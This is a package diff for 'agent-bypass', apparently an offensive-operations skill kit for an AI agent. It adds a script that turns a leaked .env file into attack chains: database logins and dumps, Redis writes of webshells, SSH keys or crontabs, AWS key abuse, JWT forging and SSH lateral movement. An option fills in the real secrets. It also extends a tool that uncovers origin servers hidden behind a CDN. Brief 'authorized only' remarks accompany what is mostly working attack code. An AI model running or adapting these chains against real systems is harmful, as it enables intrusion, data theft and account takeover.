agent-bypass 2.17.0 → 2.20.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENT_ADDITIVE_CHANGELOG.md +21 -1
- package/README.md +5 -3
- package/SKILL.md +13 -8
- package/dsh/persona.md +1 -1
- package/package.json +1 -1
- package/references/fake-ip-tun.md +1 -0
- package/references/multi-path-attack.md +100 -0
- package/references/search-engine-pivot.md +109 -0
- package/references/tool-selection.md +4 -0
- package/scripts/env_chain.py +337 -0
- package/scripts/origin_trace.py +191 -25
- package/scripts/pivot_queries.py +321 -0
- package/tests/test_regressions.py +155 -0
|
@@ -0,0 +1,337 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""env_chain — .env / 配置泄漏 → 凭据分类 → 多路径攻击链生成(离线,只读)
|
|
4
|
+
|
|
5
|
+
场景:拿到 .env / config / docker-compose / 备份配置后,快速识别里面有哪些凭据面
|
|
6
|
+
(MySQL/Redis/PostgreSQL/MongoDB、AWS/云 AK、JWT_SECRET/APP_KEY、SMTP、SSH),
|
|
7
|
+
生成「只读验证 → 多路径链」的命令模板与攻击图。不联网、不写目标,命令默认脱敏。
|
|
8
|
+
|
|
9
|
+
用法:
|
|
10
|
+
python3 env_chain.py .env
|
|
11
|
+
cat .env | python3 env_chain.py -
|
|
12
|
+
python3 env_chain.py .env --reveal # 输出含真实密钥的命令(谨慎,别贴日志)
|
|
13
|
+
python3 env_chain.py .env --json
|
|
14
|
+
python3 env_chain.py .env --ip 1.2.3.4 # 给 SSH 等命令补目标 IP
|
|
15
|
+
"""
|
|
16
|
+
import json
|
|
17
|
+
import re
|
|
18
|
+
import sys
|
|
19
|
+
import urllib.parse
|
|
20
|
+
|
|
21
|
+
try:
|
|
22
|
+
import argsmini as argparse
|
|
23
|
+
except Exception:
|
|
24
|
+
import argparse # type: ignore
|
|
25
|
+
|
|
26
|
+
MASK = "***"
|
|
27
|
+
|
|
28
|
+
# 分类规则(按优先级从上到下)
|
|
29
|
+
RULES = [
|
|
30
|
+
("db_url", re.compile(r"^(DATABASE_URL|DB_URL|MYSQL_URL|POSTGRES_URL|MONGO_URL|MONGODB_URL|REDIS_URL)$")),
|
|
31
|
+
("mysql", re.compile(r"^(MYSQL|MARIADB)_|^(DB_HOST|DB_PORT|DB_USER|DB_USERNAME|DB_PASS|DB_PASSWORD|DB_NAME|DB_DATABASE)$")),
|
|
32
|
+
("postgres", re.compile(r"^(POSTGRES|PG(HOST|PORT|USER|PASSWORD|DB))")),
|
|
33
|
+
("mongo", re.compile(r"^(MONGO|MONGODB)_")),
|
|
34
|
+
("redis", re.compile(r"^REDIS_")),
|
|
35
|
+
("aws", re.compile(r"^(AWS_|S3_|BUCKET_|AMAZON_)")),
|
|
36
|
+
("cloud", re.compile(r"^(ALIYUN|ALI_OSS|OSS_|TENCENT|COS_|AZURE|GCP|GOOGLE_)")),
|
|
37
|
+
("secret", re.compile(r"^(JWT_SECRET|JWT_KEY|SECRET_KEY|SECRET|APP_KEY|APP_SECRET|SESSION_SECRET|API_SECRET|ENCRYPTION_KEY)$")),
|
|
38
|
+
("smtp", re.compile(r"^(SMTP|MAIL|EMAIL)_|^(SMTP_HOST|SMTP_USER|SMTP_PASS|SMTP_PASSWORD)$")),
|
|
39
|
+
("ssh", re.compile(r"SSH_|PRIVATE_KEY|ID_RSA")),
|
|
40
|
+
("api_key", re.compile(r"^(GITHUB|GITLAB|STRIPE|SLACK|TELEGRAM|DINGTALK|WECHAT|ALIPAY|PAY)_")),
|
|
41
|
+
]
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def parse_env(text):
|
|
45
|
+
"""解析 .env / key=value 配置 → dict(去注释、引号、export 前缀)。"""
|
|
46
|
+
out = {}
|
|
47
|
+
for raw in str(text or "").splitlines():
|
|
48
|
+
line = raw.strip()
|
|
49
|
+
if not line or line.startswith("#") or line.startswith(";"):
|
|
50
|
+
continue
|
|
51
|
+
line = re.sub(r"^export\s+", "", line)
|
|
52
|
+
if "=" not in line:
|
|
53
|
+
continue
|
|
54
|
+
key, _, val = line.partition("=")
|
|
55
|
+
key, val = key.strip(), val.strip()
|
|
56
|
+
if len(val) >= 2 and val[0] in "\"'" and val[-1] == val[0]:
|
|
57
|
+
val = val[1:-1]
|
|
58
|
+
if key:
|
|
59
|
+
out[key] = val
|
|
60
|
+
return out
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
def classify(key):
|
|
64
|
+
for group, rx in RULES:
|
|
65
|
+
if rx.search(key.upper()):
|
|
66
|
+
return group
|
|
67
|
+
return "other"
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def _pick(env, names, default=""):
|
|
71
|
+
for n in names:
|
|
72
|
+
if env.get(n):
|
|
73
|
+
return env[n]
|
|
74
|
+
return default
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
def _parse_url(url):
|
|
78
|
+
"""DATABASE_URL/REDIS_URL → dict(service, host, port, user, password, db)。"""
|
|
79
|
+
try:
|
|
80
|
+
u = urllib.parse.urlparse(url)
|
|
81
|
+
except Exception:
|
|
82
|
+
return None
|
|
83
|
+
schemes = {"mysql": 3306, "mariadb": 3306, "postgres": 5432, "postgresql": 5432,
|
|
84
|
+
"mongodb": 27017, "redis": 6379, "rediss": 6379}
|
|
85
|
+
scheme = (u.scheme or "").lower()
|
|
86
|
+
if scheme not in schemes:
|
|
87
|
+
return None
|
|
88
|
+
return {
|
|
89
|
+
"service": scheme,
|
|
90
|
+
"host": u.hostname or "",
|
|
91
|
+
"port": u.port or schemes[scheme],
|
|
92
|
+
"user": urllib.parse.unquote(u.username or ""),
|
|
93
|
+
"password": urllib.parse.unquote(u.password or ""),
|
|
94
|
+
"db": (u.path or "/").lstrip("/"),
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
def extract(env):
|
|
99
|
+
"""从 env dict 提取服务凭据/密钥/云 AK/SMTP/SSH → 结构化 findings。"""
|
|
100
|
+
groups = {}
|
|
101
|
+
for k, v in env.items():
|
|
102
|
+
groups.setdefault(classify(k), {})[k] = v
|
|
103
|
+
|
|
104
|
+
services = []
|
|
105
|
+
# 1) URL 型(优先级最高)
|
|
106
|
+
for k in env:
|
|
107
|
+
if classify(k) == "db_url" and "://" in env[k]:
|
|
108
|
+
svc = _parse_url(env[k])
|
|
109
|
+
if svc:
|
|
110
|
+
svc["source"] = k
|
|
111
|
+
services.append(svc)
|
|
112
|
+
# 2) 分离字段型
|
|
113
|
+
mysql = {
|
|
114
|
+
"service": "mysql",
|
|
115
|
+
"host": _pick(env, ["MYSQL_HOST", "DB_HOST"]),
|
|
116
|
+
"port": int(_pick(env, ["MYSQL_PORT", "DB_PORT"], "3306") or 3306),
|
|
117
|
+
"user": _pick(env, ["MYSQL_USER", "MYSQL_USERNAME", "DB_USER", "DB_USERNAME"]),
|
|
118
|
+
"password": _pick(env, ["MYSQL_PASSWORD", "MYSQL_PASS", "DB_PASSWORD", "DB_PASS"]),
|
|
119
|
+
"db": _pick(env, ["MYSQL_DATABASE", "MYSQL_DB", "DB_NAME", "DB_DATABASE"]),
|
|
120
|
+
"source": "MYSQL_*/DB_*",
|
|
121
|
+
}
|
|
122
|
+
if mysql["host"] or mysql["user"] or mysql["password"]:
|
|
123
|
+
services.append(mysql)
|
|
124
|
+
pg = {
|
|
125
|
+
"service": "postgres",
|
|
126
|
+
"host": _pick(env, ["POSTGRES_HOST", "PGHOST"]),
|
|
127
|
+
"port": int(_pick(env, ["POSTGRES_PORT", "PGPORT"], "5432") or 5432),
|
|
128
|
+
"user": _pick(env, ["POSTGRES_USER", "PGUSER"]),
|
|
129
|
+
"password": _pick(env, ["POSTGRES_PASSWORD", "PGPASSWORD"]),
|
|
130
|
+
"db": _pick(env, ["POSTGRES_DB", "PGDATABASE"]),
|
|
131
|
+
"source": "POSTGRES_*/PG*",
|
|
132
|
+
}
|
|
133
|
+
if pg["host"] or pg["user"] or pg["password"]:
|
|
134
|
+
services.append(pg)
|
|
135
|
+
redis = {
|
|
136
|
+
"service": "redis",
|
|
137
|
+
"host": _pick(env, ["REDIS_HOST"]),
|
|
138
|
+
"port": int(_pick(env, ["REDIS_PORT"], "6379") or 6379),
|
|
139
|
+
"user": _pick(env, ["REDIS_USER"]),
|
|
140
|
+
"password": _pick(env, ["REDIS_PASSWORD", "REDIS_PASS"]),
|
|
141
|
+
"db": _pick(env, ["REDIS_DB"]),
|
|
142
|
+
"source": "REDIS_*",
|
|
143
|
+
}
|
|
144
|
+
if redis["host"] or redis["password"]:
|
|
145
|
+
services.append(redis)
|
|
146
|
+
|
|
147
|
+
# 去重
|
|
148
|
+
uniq, seen = [], set()
|
|
149
|
+
for s in services:
|
|
150
|
+
key = (s["service"], s["host"], s["port"], s["user"])
|
|
151
|
+
if key not in seen:
|
|
152
|
+
seen.add(key)
|
|
153
|
+
uniq.append(s)
|
|
154
|
+
|
|
155
|
+
aws = {}
|
|
156
|
+
if env.get("AWS_ACCESS_KEY_ID") or env.get("AWS_SECRET_ACCESS_KEY"):
|
|
157
|
+
aws = {
|
|
158
|
+
"access_key": env.get("AWS_ACCESS_KEY_ID", ""),
|
|
159
|
+
"secret_key": env.get("AWS_SECRET_ACCESS_KEY", ""),
|
|
160
|
+
"region": env.get("AWS_REGION", env.get("AWS_DEFAULT_REGION", "")),
|
|
161
|
+
"source": "AWS_*",
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
secrets = {k: v for k, v in env.items() if classify(k) == "secret"}
|
|
165
|
+
smtp = {k: v for k, v in env.items() if classify(k) == "smtp"}
|
|
166
|
+
ssh = {k: v for k, v in env.items() if classify(k) == "ssh"}
|
|
167
|
+
return {
|
|
168
|
+
"groups": {g: {k: (MASK if _sensitive(g) else v) for k, v in d.items()}
|
|
169
|
+
for g, d in groups.items()},
|
|
170
|
+
"services": uniq,
|
|
171
|
+
"aws": aws,
|
|
172
|
+
"secrets": secrets,
|
|
173
|
+
"smtp": smtp,
|
|
174
|
+
"ssh": ssh,
|
|
175
|
+
"raw_count": len(env),
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
|
|
179
|
+
def _sensitive(group):
|
|
180
|
+
return group in ("mysql", "postgres", "mongo", "redis", "aws", "cloud", "secret", "smtp", "ssh", "db_url", "api_key")
|
|
181
|
+
|
|
182
|
+
|
|
183
|
+
def _q(val):
|
|
184
|
+
if val is None or val == "":
|
|
185
|
+
return "<空>"
|
|
186
|
+
return str(val)
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
def build_chains(data, reveal=False, ip=""):
|
|
190
|
+
"""生成多路径链:{path, from, target, verify(commands), next, risk}"""
|
|
191
|
+
def secret(v):
|
|
192
|
+
if reveal:
|
|
193
|
+
return _q(v)
|
|
194
|
+
return MASK if v else "<空>"
|
|
195
|
+
|
|
196
|
+
chains = []
|
|
197
|
+
host_hint = ip or "<HOST>"
|
|
198
|
+
for s in data["services"]:
|
|
199
|
+
host = s["host"] or host_hint
|
|
200
|
+
if s["service"] in ("mysql", "mariadb"):
|
|
201
|
+
cmd = ("mysql -h %s -P %s -u %s -p'%s' -e 'select version(), current_user(); show databases;'"
|
|
202
|
+
% (host, s["port"], _q(s["user"] or "root"), secret(s["password"])))
|
|
203
|
+
chains.append({
|
|
204
|
+
"path": ".env → MySQL 凭据 → 只读验证/拖库 → 同口令复用 SSH/面板",
|
|
205
|
+
"from": s["source"], "target": "%s:%s" % (host, s["port"]),
|
|
206
|
+
"verify": cmd,
|
|
207
|
+
"next": "secure_file_priv 检查 → 读/写文件(授权内)→ 用户哈希离线 → 同口令横向",
|
|
208
|
+
"risk": "high" if s["password"] else "medium",
|
|
209
|
+
})
|
|
210
|
+
elif s["service"] in ("postgres", "postgresql"):
|
|
211
|
+
chains.append({
|
|
212
|
+
"path": ".env → PostgreSQL 凭据 → 只读验证 → 拖库/命令执行(授权内)",
|
|
213
|
+
"from": s["source"], "target": "%s:%s" % (host, s["port"]),
|
|
214
|
+
"verify": "PGPASSWORD='%s' psql -h %s -p %s -U %s -d %s -c 'select version(), current_user;'"
|
|
215
|
+
% (secret(s["password"]), host, s["port"], _q(s["user"] or "postgres"), _q(s["db"] or "postgres")),
|
|
216
|
+
"next": "pg_read_file / COPY PROGRAM / 扩展提权;同口令复用",
|
|
217
|
+
"risk": "high" if s["password"] else "medium",
|
|
218
|
+
})
|
|
219
|
+
elif s["service"] == "redis":
|
|
220
|
+
chains.append({
|
|
221
|
+
"path": ".env → Redis 凭据 → 只读验证 → 写 shell/crontab/主从复制(授权内)",
|
|
222
|
+
"from": s["source"], "target": "%s:%s" % (host, s["port"]),
|
|
223
|
+
"verify": "redis-cli -h %s -p %s%s ping" % (host, s["port"],
|
|
224
|
+
(" -a '%s'" % secret(s["password"])) if s["password"] else ""),
|
|
225
|
+
"next": "config get dir/dbfilename → 写 webshell/authorized_keys/crontab(写前备份)",
|
|
226
|
+
"risk": "high" if s["password"] else "medium",
|
|
227
|
+
})
|
|
228
|
+
elif s["service"] == "mongodb":
|
|
229
|
+
chains.append({
|
|
230
|
+
"path": ".env → MongoDB 凭据 → 只读验证/拖库",
|
|
231
|
+
"from": s["source"], "target": "%s:%s" % (host, s["port"]),
|
|
232
|
+
"verify": "mongosh 'mongodb://%s:%s@%s:%s/%s' --eval 'db.runCommand({ping:1})'"
|
|
233
|
+
% (_q(s["user"]), secret(s["password"]), host, s["port"], _q(s["db"] or "")),
|
|
234
|
+
"next": "未授权/弱口令优先;只读集合导出",
|
|
235
|
+
"risk": "medium",
|
|
236
|
+
})
|
|
237
|
+
|
|
238
|
+
if data["aws"]:
|
|
239
|
+
chains.append({
|
|
240
|
+
"path": ".env → AWS AK → STS 验证 → S3/ECS/其他云资源(授权内)",
|
|
241
|
+
"from": data["aws"]["source"], "target": "aws",
|
|
242
|
+
"verify": "AWS_ACCESS_KEY_ID='%s' AWS_SECRET_ACCESS_KEY='%s' AWS_DEFAULT_REGION='%s' aws sts get-caller-identity"
|
|
243
|
+
% (secret(data["aws"]["access_key"]), secret(data["aws"]["secret_key"]), _q(data["aws"]["region"])),
|
|
244
|
+
"next": "aws s3 ls;按权限枚举 S3/ECR/ECS/SSM;只读验证 → 影响评估",
|
|
245
|
+
"risk": "high",
|
|
246
|
+
})
|
|
247
|
+
if data["secrets"]:
|
|
248
|
+
chains.append({
|
|
249
|
+
"path": ".env → JWT_SECRET/SECRET_KEY → 伪造 token / 会话签名",
|
|
250
|
+
"from": "SECRET_*", "target": "web",
|
|
251
|
+
"verify": "# 用真实 token 做 HS256 验签复现(离线):hashcat -m 16500 token.txt 或 jwt_tool 验证",
|
|
252
|
+
"next": "伪造管理员 token 打后台(授权内);Laravel APP_KEY 泄漏 → 反序列化/RCE 风险",
|
|
253
|
+
"risk": "high",
|
|
254
|
+
})
|
|
255
|
+
if data["smtp"]:
|
|
256
|
+
chains.append({
|
|
257
|
+
"path": ".env → SMTP 凭据 → 发信能力验证(授权内)",
|
|
258
|
+
"from": "SMTP_*", "target": "smtp",
|
|
259
|
+
"verify": "# python3 smtplib 登录测试(只发给自己);注意反垃圾/发信限额",
|
|
260
|
+
"next": "同凭据试其他系统邮箱复用到后台找回/通知面",
|
|
261
|
+
"risk": "low",
|
|
262
|
+
})
|
|
263
|
+
if data["ssh"]:
|
|
264
|
+
chains.append({
|
|
265
|
+
"path": ".env/备份 → SSH 私钥/用户 → SSH 登录 → 内网横向",
|
|
266
|
+
"from": "SSH_*/PRIVATE_KEY", "target": "%s:22" % host_hint,
|
|
267
|
+
"verify": "ssh -i <key> -o BatchMode=yes -o ConnectTimeout=5 %s 'id; hostname'"
|
|
268
|
+
% _q(data["ssh"].get("SSH_USER") or "<user>"),
|
|
269
|
+
"next": "authorized_keys/端口转发/内网 DB 暴露;私钥复用其他主机",
|
|
270
|
+
"risk": "high",
|
|
271
|
+
})
|
|
272
|
+
return chains
|
|
273
|
+
def main(argv=None):
|
|
274
|
+
ap = argparse.ArgumentParser(description=".env/配置泄漏 → 凭据分类 → 多路径攻击链(离线只读)")
|
|
275
|
+
ap.add_argument("file", nargs="?", help=".env 文件路径;'-' 或省略读 stdin")
|
|
276
|
+
ap.add_argument("--reveal", action="store_true", help="输出含真实密钥的命令(默认脱敏)")
|
|
277
|
+
ap.add_argument("--ip", default="", help="补充目标 IP(SSH/未写 host 的服务命令用)")
|
|
278
|
+
ap.add_argument("--json", action="store_true")
|
|
279
|
+
a = ap.parse_args(argv)
|
|
280
|
+
|
|
281
|
+
if a.file in (None, "-"):
|
|
282
|
+
text = sys.stdin.read()
|
|
283
|
+
src = "stdin"
|
|
284
|
+
else:
|
|
285
|
+
try:
|
|
286
|
+
with open(a.file, encoding="utf-8", errors="ignore") as f:
|
|
287
|
+
text = f.read()
|
|
288
|
+
src = a.file
|
|
289
|
+
except OSError as e:
|
|
290
|
+
print("[错误] 读取失败: %s" % e, file=sys.stderr)
|
|
291
|
+
return 2
|
|
292
|
+
env = parse_env(text)
|
|
293
|
+
if not env:
|
|
294
|
+
print("[错误] 未解析到任何 key=value(不是 .env/配置文件?)", file=sys.stderr)
|
|
295
|
+
return 2
|
|
296
|
+
data = extract(env)
|
|
297
|
+
chains = build_chains(data, reveal=a.reveal, ip=a.ip)
|
|
298
|
+
services_out = []
|
|
299
|
+
for s in data["services"]:
|
|
300
|
+
s2 = dict(s)
|
|
301
|
+
if not a.reveal:
|
|
302
|
+
s2["password"] = MASK if s2.get("password") else ""
|
|
303
|
+
services_out.append(s2)
|
|
304
|
+
payload = {"source": src, "env_keys": data["raw_count"], "groups": data["groups"],
|
|
305
|
+
"services": services_out,
|
|
306
|
+
"aws": {k: (v if a.reveal or k == "source" else MASK) for k, v in data["aws"].items()} if data["aws"] else {},
|
|
307
|
+
"chains": chains,
|
|
308
|
+
"note": "命令默认脱敏;--reveal 输出真实值。只读验证优先,写操作先备份并确认授权范围。"}
|
|
309
|
+
if a.json:
|
|
310
|
+
print(json.dumps(payload, ensure_ascii=False, indent=2))
|
|
311
|
+
return 0
|
|
312
|
+
|
|
313
|
+
print("# 来源: %s | 解析 %d 个键" % (src, data["raw_count"]))
|
|
314
|
+
print("\n## 识别到的凭据面")
|
|
315
|
+
for g, d in data["groups"].items():
|
|
316
|
+
if g in ("other",) or not d:
|
|
317
|
+
continue
|
|
318
|
+
print("- %-9s %s" % (g, ", ".join(sorted(d)[:8]) + (" ..." if len(d) > 8 else "")))
|
|
319
|
+
if data["services"]:
|
|
320
|
+
print("\n## 服务凭据")
|
|
321
|
+
for s in data["services"]:
|
|
322
|
+
print("- %-8s %s:%s user=%s db=%s(来源 %s)" % (
|
|
323
|
+
s["service"], s["host"] or "<HOST>", s["port"], s["user"] or "-", s["db"] or "-", s["source"]))
|
|
324
|
+
print("\n## 多路径链(只读验证优先)")
|
|
325
|
+
for i, c in enumerate(chains, 1):
|
|
326
|
+
print("\n[%d] %s" % (i, c["path"]))
|
|
327
|
+
print(" 目标: %s | 风险: %s" % (c["target"], c["risk"]))
|
|
328
|
+
print(" 验证: %s" % c["verify"])
|
|
329
|
+
print(" 下一步: %s" % c["next"])
|
|
330
|
+
if not chains:
|
|
331
|
+
print("- 未识别到可直接利用的凭据(可能只有普通配置项)")
|
|
332
|
+
print("\n# 范围纪律:只对授权资产验证;写操作前备份;密钥勿贴日志/报告。")
|
|
333
|
+
return 0
|
|
334
|
+
|
|
335
|
+
|
|
336
|
+
if __name__ == "__main__":
|
|
337
|
+
sys.exit(main())
|
package/scripts/origin_trace.py
CHANGED
|
@@ -12,6 +12,8 @@
|
|
|
12
12
|
python3 origin_trace.py example.com --json
|
|
13
13
|
python3 origin_trace.py example.com --max-candidates 60 --timeout 8
|
|
14
14
|
python3 origin_trace.py example.com --no-ct --max-candidates 8 --budget 60 # iSH/fake-IP:跳过 CT、限时防卡
|
|
15
|
+
python3 origin_trace.py example.com --ct-sources crt.sh,certspotter,otx # 指定/兜底 CT 源(all=全部)
|
|
16
|
+
python3 origin_trace.py example.com --max-ct 120 --ct-budget 20 # CT 主机上限/多源总预算
|
|
15
17
|
DOH_PROVIDERS="https://1.1.1.1/dns-query" python3 origin_trace.py example.com
|
|
16
18
|
|
|
17
19
|
输出: 候选源站表(ip / 分数 / 来源 / 标题 / Server / CDN 头),--json 输出机器可读结构。
|
|
@@ -20,6 +22,7 @@
|
|
|
20
22
|
import concurrent.futures
|
|
21
23
|
import hashlib
|
|
22
24
|
import json
|
|
25
|
+
import os
|
|
23
26
|
import re
|
|
24
27
|
import socket
|
|
25
28
|
import ssl
|
|
@@ -41,6 +44,11 @@ SUBS = [
|
|
|
41
44
|
"legacy", "backup", "admin", "api", "gateway", "vpn", "oa", "portal",
|
|
42
45
|
"m", "wap", "static", "img", "cdn", "assets", "uploads",
|
|
43
46
|
]
|
|
47
|
+
ISH = os.path.isdir("/var/minis") or bool(os.environ.get("MINIS_ROOT"))
|
|
48
|
+
|
|
49
|
+
# 多源证书透明度 / 被动 DNS(无 Key 优先;单个源 502/超时不影响其他源)
|
|
50
|
+
CT_SOURCES = ("crt.sh", "certspotter", "otx", "hackertarget", "anubis", "rapiddns")
|
|
51
|
+
|
|
44
52
|
CDN_HEADERS = (
|
|
45
53
|
"cf-ray", "cf-cache-status", "x-cache", "via", "x-amz-cf-id", "x-amz-cf-pop",
|
|
46
54
|
"x-fastly-request-id", "x-akamai-transformed", "x-cdn", "x-served-by",
|
|
@@ -72,23 +80,35 @@ def doh_resolve(name, timeout=6.0):
|
|
|
72
80
|
return []
|
|
73
81
|
|
|
74
82
|
|
|
75
|
-
def
|
|
76
|
-
"""
|
|
77
|
-
|
|
78
|
-
|
|
83
|
+
def _host_in_domain(name, domain):
|
|
84
|
+
"""规范化主机名并校验属于目标域;不合法返回 None。"""
|
|
85
|
+
name = str(name or "").strip().lower().lstrip("*.").rstrip(".")
|
|
86
|
+
if name and (name == domain or name.endswith("." + domain)):
|
|
87
|
+
return name
|
|
88
|
+
return None
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
def _dedup_hosts(cands, domain, seen, out):
|
|
92
|
+
for raw in cands:
|
|
93
|
+
n = _host_in_domain(raw, domain)
|
|
94
|
+
if n and n not in seen:
|
|
95
|
+
seen.add(n)
|
|
96
|
+
out.append(n)
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def http_get_text(url, timeout=8.0, retry=1):
|
|
100
|
+
"""GET 文本(带 UA + 重试);失败抛异常由调用方兜底。"""
|
|
79
101
|
last = None
|
|
80
|
-
for attempt in (1
|
|
102
|
+
for attempt in range(retry + 1):
|
|
81
103
|
try:
|
|
82
104
|
req = urllib.request.Request(url, headers={"user-agent": UA})
|
|
83
105
|
with urllib.request.urlopen(req, timeout=timeout) as r:
|
|
84
|
-
|
|
85
|
-
return parse_crtsh(text, domain)
|
|
106
|
+
return r.read(8 << 20).decode("utf-8", "ignore")
|
|
86
107
|
except Exception as e:
|
|
87
108
|
last = e
|
|
88
|
-
if attempt
|
|
89
|
-
time.sleep(
|
|
90
|
-
|
|
91
|
-
return []
|
|
109
|
+
if attempt < retry:
|
|
110
|
+
time.sleep(0.8)
|
|
111
|
+
raise last
|
|
92
112
|
|
|
93
113
|
|
|
94
114
|
def parse_crtsh(text, domain):
|
|
@@ -101,18 +121,141 @@ def parse_crtsh(text, domain):
|
|
|
101
121
|
return []
|
|
102
122
|
out, seen = [], set()
|
|
103
123
|
for row in rows:
|
|
124
|
+
if isinstance(row, dict):
|
|
125
|
+
_dedup_hosts(str(row.get("name_value") or "").split("\n"), domain, seen, out)
|
|
126
|
+
return out
|
|
127
|
+
|
|
128
|
+
|
|
129
|
+
def parse_certspotter(text, domain):
|
|
130
|
+
"""CertSpotter issuances JSON → dns_names 里的主机名。"""
|
|
131
|
+
try:
|
|
132
|
+
rows = json.loads(text)
|
|
133
|
+
except (ValueError, TypeError):
|
|
134
|
+
return []
|
|
135
|
+
out, seen = [], set()
|
|
136
|
+
for row in rows if isinstance(rows, list) else []:
|
|
137
|
+
if isinstance(row, dict):
|
|
138
|
+
_dedup_hosts(row.get("dns_names") or [], domain, seen, out)
|
|
139
|
+
return out
|
|
140
|
+
|
|
141
|
+
|
|
142
|
+
def parse_otx(text, domain):
|
|
143
|
+
"""OTX 被动 DNS → (主机名列表, IP 列表)。"""
|
|
144
|
+
try:
|
|
145
|
+
d = json.loads(text)
|
|
146
|
+
except (ValueError, TypeError):
|
|
147
|
+
return [], []
|
|
148
|
+
rows = d.get("passive_dns") if isinstance(d, dict) else None
|
|
149
|
+
out, seen, ips = [], set(), []
|
|
150
|
+
for row in rows if isinstance(rows, list) else []:
|
|
104
151
|
if not isinstance(row, dict):
|
|
105
152
|
continue
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
153
|
+
host = _host_in_domain(row.get("hostname") or "", domain)
|
|
154
|
+
if not host:
|
|
155
|
+
continue # 只收目标域相关记录,避免无关 IP 污染候选
|
|
156
|
+
_dedup_hosts([host], domain, seen, out)
|
|
157
|
+
ip = str(row.get("address") or "").strip()
|
|
158
|
+
if netdns is not None and netdns.is_ipv4(ip) and not netdns.is_fake_ip(ip) and ip not in ips:
|
|
159
|
+
ips.append(ip)
|
|
160
|
+
return out, ips
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
def parse_hackertarget(text, domain):
|
|
164
|
+
"""HackerTarget hostsearch CSV(host,ip)→ (主机名, IP)。"""
|
|
165
|
+
out, seen, ips = [], set(), []
|
|
166
|
+
for line in str(text or "").splitlines():
|
|
167
|
+
parts = [x.strip() for x in line.split(",")]
|
|
168
|
+
if len(parts) != 2:
|
|
169
|
+
continue
|
|
170
|
+
host = _host_in_domain(parts[0], domain)
|
|
171
|
+
if not host:
|
|
172
|
+
continue # 只收目标域相关主机/IP
|
|
173
|
+
_dedup_hosts([host], domain, seen, out)
|
|
174
|
+
if netdns is not None and netdns.is_ipv4(parts[1]) and not netdns.is_fake_ip(parts[1]) and parts[1] not in ips:
|
|
175
|
+
ips.append(parts[1])
|
|
176
|
+
return out, ips
|
|
177
|
+
|
|
178
|
+
|
|
179
|
+
def parse_anubis(text, domain):
|
|
180
|
+
"""Anubis(jldc.me) 子域 JSON 数组 → 主机名。"""
|
|
181
|
+
try:
|
|
182
|
+
rows = json.loads(text)
|
|
183
|
+
except (ValueError, TypeError):
|
|
184
|
+
return []
|
|
185
|
+
out, seen = [], set()
|
|
186
|
+
_dedup_hosts(rows if isinstance(rows, list) else [], domain, seen, out)
|
|
113
187
|
return out
|
|
114
188
|
|
|
115
189
|
|
|
190
|
+
def parse_rapiddns(text, domain):
|
|
191
|
+
"""RapidDNS HTML → 页面中的子域文本(宽松匹配)。"""
|
|
192
|
+
out, seen = [], set()
|
|
193
|
+
for m in re.finditer(r"([a-zA-Z0-9][a-zA-Z0-9._-]*\." + re.escape(domain) + r")", str(text or "")):
|
|
194
|
+
_dedup_hosts([m.group(1)], domain, seen, out)
|
|
195
|
+
return out
|
|
196
|
+
|
|
197
|
+
|
|
198
|
+
def _ct_fetch(name, domain, timeout):
|
|
199
|
+
"""单个 CT/被动 DNS 源 → (hosts, ips)。"""
|
|
200
|
+
q = urllib.parse.quote(domain, safe="")
|
|
201
|
+
if name == "crt.sh":
|
|
202
|
+
text = http_get_text("https://crt.sh/?q=" + urllib.parse.quote("%." + domain, safe="") + "&output=json",
|
|
203
|
+
timeout, retry=1)
|
|
204
|
+
return parse_crtsh(text, domain), []
|
|
205
|
+
if name == "certspotter":
|
|
206
|
+
text = http_get_text("https://api.certspotter.com/v1/issuances?domain=%s&include_subdomains=true&expand=dns_names" % q,
|
|
207
|
+
timeout)
|
|
208
|
+
return parse_certspotter(text, domain), []
|
|
209
|
+
if name == "otx":
|
|
210
|
+
text = http_get_text("https://otx.alienvault.com/api/v1/indicators/domain/%s/passive_dns" % q, timeout)
|
|
211
|
+
return parse_otx(text, domain)
|
|
212
|
+
if name == "hackertarget":
|
|
213
|
+
text = http_get_text("https://api.hackertarget.com/hostsearch/?q=%s" % q, timeout)
|
|
214
|
+
return parse_hackertarget(text, domain)
|
|
215
|
+
if name == "anubis":
|
|
216
|
+
text = http_get_text("https://jldc.me/anubis/subdomains/%s" % q, timeout)
|
|
217
|
+
return parse_anubis(text, domain), []
|
|
218
|
+
if name == "rapiddns":
|
|
219
|
+
text = http_get_text("https://rapiddns.io/subdomain/%s?full=1" % q, timeout)
|
|
220
|
+
return parse_rapiddns(text, domain), []
|
|
221
|
+
return [], []
|
|
222
|
+
|
|
223
|
+
|
|
224
|
+
def fetch_passive_names(domain, timeout=8.0, sources=None, max_hosts=80, budget=None):
|
|
225
|
+
"""多源并发查询 CT/被动 DNS:单源失败不影响其他;总预算到期返回部分结果。
|
|
226
|
+
返回 (hosts, passive_ips, per_source_status)。"""
|
|
227
|
+
sources = list(sources or CT_SOURCES)
|
|
228
|
+
budget = budget if budget and budget > 0 else (10.0 if ISH else 15.0)
|
|
229
|
+
workers = min(4 if ISH else 6, max(1, len(sources)))
|
|
230
|
+
hosts, seen, ips, status = [], set(), [], {}
|
|
231
|
+
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
|
|
232
|
+
futs = {ex.submit(_ct_fetch, name, domain, timeout): name for name in sources}
|
|
233
|
+
try:
|
|
234
|
+
for fut in concurrent.futures.as_completed(futs, timeout=budget):
|
|
235
|
+
src = futs[fut]
|
|
236
|
+
try:
|
|
237
|
+
h, ip = fut.result()
|
|
238
|
+
except Exception as e:
|
|
239
|
+
status[src] = "失败: %s" % str(e)[:60]
|
|
